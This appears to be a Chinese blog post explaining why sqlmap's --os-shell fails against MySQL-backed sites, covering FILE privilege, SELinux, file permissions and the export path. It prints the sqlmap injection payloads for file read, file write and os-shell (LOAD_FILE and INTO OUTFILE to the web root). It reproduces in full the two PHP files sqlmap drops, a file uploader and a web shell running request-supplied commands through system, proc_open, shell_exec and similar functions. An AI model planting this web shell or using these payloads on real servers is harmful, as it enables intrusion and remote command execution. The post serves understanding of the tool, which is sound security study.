SQL注入:为什么拿不到os-shell?
2023-09-11 14:19:36 时间
文章目录
权限问题
首先确保注入点的数据库连接用户有FILE权限
使用 --privileges查看
但是
就算有此权限也还有很多问题
SELINUX
因为我的服务器使用的并不是Apache的默认发布目录
所以我把SELINUX禁掉了
按理来说
SELINUX也会对这些操作有影响
mysql文件操作权限
首先说一下Linux的文件权限
chmod命令用于更改文件权限
数字法中
0 无权限
1 可执行
2 可写
4 可读
四个数字随意组合共八种
0 无权限
1 可执行
2 可写
3 可执行/可写
4 可读
5 可执行/可读
6 可写/可读
7 可执行/可写/可读
–file-read
参数是文件路径
服务器上的mysql需要对此文件有5权限(执行/读)
因为它实际执行的函数是
LOAD_FILE('/data/test.txt');
mysql有对 /data/test.txt 的5权限才可以加载
否则就算服务器管理员使用此函数也无法读出文件
–file-write 和 --file-dest
这两个是配合使用的
–file-write的参数是Kali上的完整文件路径
–file-dest的参数是服务器上的完整文件路径
服务器上mysql需要对此文件路径有3权限(可写/可执行)
而且mysql的文件导出路径不能有限制
mysql导出路径
它实际执行的函数是
... INTO OUTFILE '/asdf/sadf/sdfa.txt'
–os-shell
mysql需要对网站发布目录有3权限
以及文件导出路径无限制
实际函数上传了两个php文件,即利用tmpulujm.php上传了一个tmpbtfgo.php的文件
...INTO OUTFILE '/DocumentRoot/asdaa.php'
–file-read
payload
a' AND
ORD(
MID((
IFNULL(
CAST(
HEX(LOAD_FILE(0x2f6879)
) AS CHAR)
,0x20)
),1,1)
)>66 AND 'BHHf'='BHHf
解析
0x2f6879是服务器上带完整路径的文件名
–file-write和–file-dest
payload
a'
LIMIT 0,1
INTO OUTFILE '/hoasdf/sdaf/asdf.txt'
LINES TERMINATED BY
0x50542079536557276967963653d68747
-- -
解析
0x5054…是上传文件的HEX内容
–os-shell
即利用tmpulujm.php上传了一个tmpbtfgo.php的文件
payload
a'
LIMIT 0,1
INTO OUTFILE '/DocumentRoot/tmpuvpaa.php'
LINES TERMINATED BY
0x300a696627365742f524554553545b2275706c6f6164225
-- -
解析
0x300a…是上传php文件的HEX内容
上传的两个php文件内容
a 12
<?php
if (isset($_REQUEST["upload"])){
$dir=$_REQUEST["uploadDir"];
if (phpversion()<'4.1.0'){
$file=$HTTP_POST_FILES["file"]["name"];
@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();
}
else{
$file=$_FILES["file"]["name"];
@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();
}
@chmod($dir."/".$file,0755);
echo "File uploaded";
}
else {
echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/home/www/root/MyWebsite/> <input type=submit name=upload value=upload></form>";
}
?>
<?php
$c=$_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time',0);
$z=@ini_get('disable_functions');
if(!empty($z)){
$z=preg_replace('/[,]/',',',$z);
$z=explode(',',$z);
$z=array_map('trim',$z);
}
else{$z=array();}
$c=$c." 2>&1\n";
function f($n){
global $z;
return is_callable($n)and!in_array($n,$z);
}
if(f('system')){
ob_start();
system($c);
$w=ob_get_contents();
ob_end_clean();
}
elseif(f('proc_open'){
$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
$w=NULL;
while(!feof($t[1])){
$w.=fread($t[1],512);
}
@proc_close($y);
}
elseif(f('shell_exec')){
$w=shell_exec($c);
}
elseif(f('passthru')){
ob_start();
passthru($c);
$w=ob_get_contents();
ob_end_clean();
}
elseif(f('popen')){
$x=popen($c,r);
$w=NULL;
if(is_resource($x)){
while(!feof($x)){
$w.=fread($x,512);
}
}
@pclose($x);
}
elseif(f('exec')){
$w=array();
exec($c,$w);
$w=join(chr(10),$w).chr(10);
}
else{$w=0;}
print "<pre>".$w."</pre>";
?>
退出shell后两文件自动删除
总结
拿到os-shell的条件
- 首先你得知道网站是用什么写的。这个倒是好说,ASP/ASPX/PHP/JSP,很容易看
- 网站的发布目录。这个开发环境中应该都会更改,而不会使用默认的
比如Apache的/var/www/html,这里想说一下某些PHP程序员还有可能写完一个很有用的文件后忘记删掉了,可能叫test.php什么什么的,内容就是一句phpinfo();
找到这个里面会有很多有用的信息 - SELinux。牛逼的管理员会详细配置SELinux,菜鸡如我就只能强制关掉了,SELinux会对数据库对外的操作作限制,特别是针对这种敏感的直接对发布目录进行的操作。
还是得好好看看SELinux啊唉 - 执行权限。上面有详细说明
- 生产环境还会有WAF等防护
相关文章
- Firefox 18 将支持 OS X 的视网膜屏
- mac os x下Dreamweaver如何还原初始配置
- mac OS X 下ft_rich游戏的重构
- Chrome 用户数据配置文件夹保存路径在哪?(Mac OS X/Windows/Linux)
- There are inconsistent line endings in the 'xxx' script. Some are Mac OS X (UNIX) and some are Windows.问题解决
- Database Crash With ORA-27063 and OS Error: 5: I/O Error
- Mac OS X 安装ruby环境
- Android Studio 解决报错More than one file was found with OS independent path ‘lib/arm64-v8a/libuvc.so‘
- atitit 虚拟机之道vm之道 runtime设计 运行时 .attilax著.docx 1. Atitit 虚拟机的层次 架构与常见的虚拟机3 1.1. Os隔离了硬件的区别4 1.2.
- Mac OS X El Capitan系统完整性保护System Integrity Protection (SIP)
- Python语言学习:创建/删除文件/文件夹、获取当前文件/文件夹路径(系统环境路径/目录)、获取当前文件夹下的所有子文件路径等代码(os系列用法)实现之详细攻略
- Mac OS X 上的安装 Lisp 开发环境
- python通过os.walk() 遍历出多级目录下所有文件绝对路径
- Go语言自学系列 | golang标准库os模块 - File文件写操作
- Xshell 连接 Mac OS ssh 输入不了密码
- SQL注入 Sqli-labs-Less-21(笔记)——还是回显注入 使用union select即可 但是要注意sql括号闭合 也可以报错注入
- Harmony OS — TabList和Tab分页栏
- OS实验三【进程通信】
- glob.glob() + os.path.join() :找到文件路径,拼接路径
- Mac os如何安装绿盾客户端